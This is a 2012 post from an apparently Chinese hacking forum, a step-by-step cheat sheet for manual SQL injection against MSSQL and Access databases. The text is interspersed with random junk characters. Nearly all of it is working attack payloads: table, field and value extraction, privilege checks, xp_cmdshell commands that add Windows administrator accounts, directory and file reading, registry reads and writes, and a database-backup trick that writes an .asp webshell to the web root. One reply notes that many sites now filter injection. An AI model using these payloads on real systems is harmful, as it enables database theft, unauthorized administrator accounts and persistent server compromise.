找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2607|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 1 D' _7 k  B- J- D5 P
1.判断是否有注入;and 1=1 ;and 1=2
( _  H% J- r" i1 S/ Y. r7 u$ l
. a) l- @. r7 z, r/ z2.初步判断是否是mssql ;and user>0 , U! k: x# F2 X* i, N
% s1 k. }& A- U. Z1 x) m
3.注入参数是字符'and [查询条件] and ''=' 3 A! L! t+ }% a& \# s+ n2 ?+ |* Z
# }; d5 i" D: \4 X9 G. z7 z/ X9 t3 _
4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 S9 U% X% Y) z0 g5 N1 t
* F% f6 @& P0 m5.判断数据库系统
6 S/ [& M3 F- `- ?/ r, j;and (select count(*) from sysobjects)>0 mssql
3 ~! I* r! g! \# z7 \, `! T;and (select count(*) from msysobjects)>0 access 0 r  Q7 }' @0 d* }
( M4 ~5 _# A" ]4 I6 Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1 C' }1 }6 F5 X2 \" K3 X4 o' m" e
9 n% |& i5 R6 v
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
" D6 L' @2 P" `% C" ^7 S$ x2 V- Z6 z0 H7 M, B3 s
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5 E  [" {. y% D+ [# Q4 g1 h9 B
9 n$ J/ c6 L: ^! O* B$ o
9.(1)猜字段的ascii值(access) ( ?2 O4 A$ {" n
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
0 ~' w# c! q/ W; J) z9 k% _1 ^; H
(2)猜字段的ascii值(mssql) 5 W' V, ?2 c7 E0 U& {/ d
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
6 Z5 _. q* T; K  f# W7 {$ ^+ V8 \0 m, L
10.测试权限结构(mssql) ; q3 p$ \% p' \
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& }$ k5 a8 @1 D# X2 U8 q* @;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ Y/ N& L/ }/ n;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 V! Q, Z0 d3 Q: L. v( P;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ a, U" h6 P+ S' u4 B" G;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* w6 v6 l- l$ m  V& ?: D;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 x% }8 I# _6 x  Z" E+ u" r
;and 1=(select IS_MEMBER('db_owner'));--
5 L6 w3 p. ^' O+ N  I3 S
& ]8 r" x( u3 [11.添加mssql和系统的帐户 + I: j( x# e! M4 Y! u
;exec master.dbo.sp_addlogin username;--
: r: {' p* A) \& c4 L* ^" [6 S; i4 b- S6 v) Z
;exec master.dbo.sp_password null,username,password;--
- o8 o+ U* d& e$ [0 e( r4 Y3 {* U7 F3 G0 `
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , W  y' L4 E2 M7 j
5 A5 Z4 v3 \# S6 u% {8 Z5 j- |
;exec master.dbo.xp_cmdshell 'net user username password " {6 v. G0 F0 T4 ~. F2 F
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 j7 E0 F" _0 f7 @4 [# F
9 q1 z( L% I; t2 @
;exec master.dbo.xp_cmdshell 'net user username password /add';-- - c3 N6 [/ l" h7 J7 {

5 ^; M6 |( M# H! a- R# ~( ^: };exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 f9 t/ c& s( m
; y, C  I' y' R- Y: k12.(1)遍历目录 6 Z4 [# q$ p: v6 ]0 z) M
- C- r/ r. s% ^6 f9 h
;create table dirs(paths varchar(100), id int) ' ?& C* p" y, d0 M+ h
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 L) q9 o4 f) o. m9 S! L9 S
;and (select top 1 paths from dirs)>0
+ R! O" r6 z7 j( H& R: S2 g;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
  \! s7 u/ g" {8 ]+ T) [% P2 ^% l+ [
5 B( a7 h/ o. p* W) L) c9 J(2)遍历目录 " p) N7 U. |5 B4 p) I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( Q2 W( U9 m7 J5 i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ I, Q1 C' o& {$ X;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 - y0 j6 H0 `' s. {: `
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + Z2 v6 V( S8 e# l1 g4 O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 a. h2 M3 V$ r* _( P& C% C
# F) ^- K; S/ b: i6 P4 b* ?' `1 z
13.mssql中的存储过程 : ~, g2 J0 S1 n9 @8 b7 T
3 g+ {+ n6 {4 o+ i% f% P( {
xp_regenumvalues 注册表根键, 子键
; z% n# C2 [) `/ Z" ~: S. I5 p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % |% y# l9 I- N, c5 j4 F5 U
8 x2 B2 k" z( q! H
xp_regread 根键,子键,键值名 8 B- q1 }3 C" p8 \" Z4 n
;exec xp_regread 3 p. H' s6 H9 K# o9 J2 \
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  ~+ k  l3 W6 ~! c2 N0 |6 m2 T8 i& b' U9 G
xp_regwrite 根键,子键, 值名, 值类型, 值
2 e8 @8 C; M# `9 u; Y- G6 ^; s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5 V0 n( m8 `- C, H' A; H
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' ~/ {2 S; _1 Q- L2 z
: Y9 D1 k# g+ E1 G$ t5 m
xp_regdeletevalue 根键,子键,值名
! R# W, g" ^4 J% U) r0 K/ Y( v7 K, |+ }: ]1 N3 @2 T: A. S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 2 \( o1 H3 p; L' o& {' V' a

( _( L/ A- N: L; y* J* Bxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值   `! s; o( N4 y8 ]3 t3 s
' W9 L% ^/ b- W/ ~" U
14.mssql的backup创建webshell $ ?5 C" \6 d! V9 t/ }9 |" Q% y6 \
use model / t: z* `  m9 j+ j5 s0 Y
create table cmd(str image); $ m# w9 c! S/ T' t
insert into cmd(str) values (''); 2 o, o* X) w& r% O
backup database model to disk='c:\l.asp'; * j4 P3 x2 n9 ?7 t8 q( y) ?
( j, J3 r: l9 O, f* ~! j3 |4 X
15.mssql内置函数 % N7 w0 F* [3 _% R
;and (select @@version)>0 获得Windows的版本号 $ M5 e3 d! e4 m1 T
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ R# P( _: g) t: R4 \;and (select user_name())>0 爆当前系统的连接用户 3 j  x" J* @+ [' \* e! Q
;and (select db_name())>0 得到当前连接的数据库
* @# i) n7 L* ]
; \" {/ L8 L4 ?& x/ a* X4 ~& h& V1 @16.简洁的webshell
; u' N; H5 g( y& |* H9 w& B
9 `6 a4 E4 }, Q1 P$ ?+ Z& puse model ; |) {+ g/ Z& @; ~/ B9 p3 {' J; U

; _, C1 [8 F  C- j2 I- ?create table cmd(str image); : S& Q2 d, b6 u- K

! w) Y6 ?0 e: ]. P( Pinsert into cmd(str) values (''); 9 B7 Y4 D3 W8 n: V5 Y
  T) a! }6 W, X# l: q/ f
backup database model to disk='g:\wwwtest\l.asp';
5 x: y" {* c8 |& K4 i) y2 `
; T* c7 @. y! d  \$ t# s# Q  K- }
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表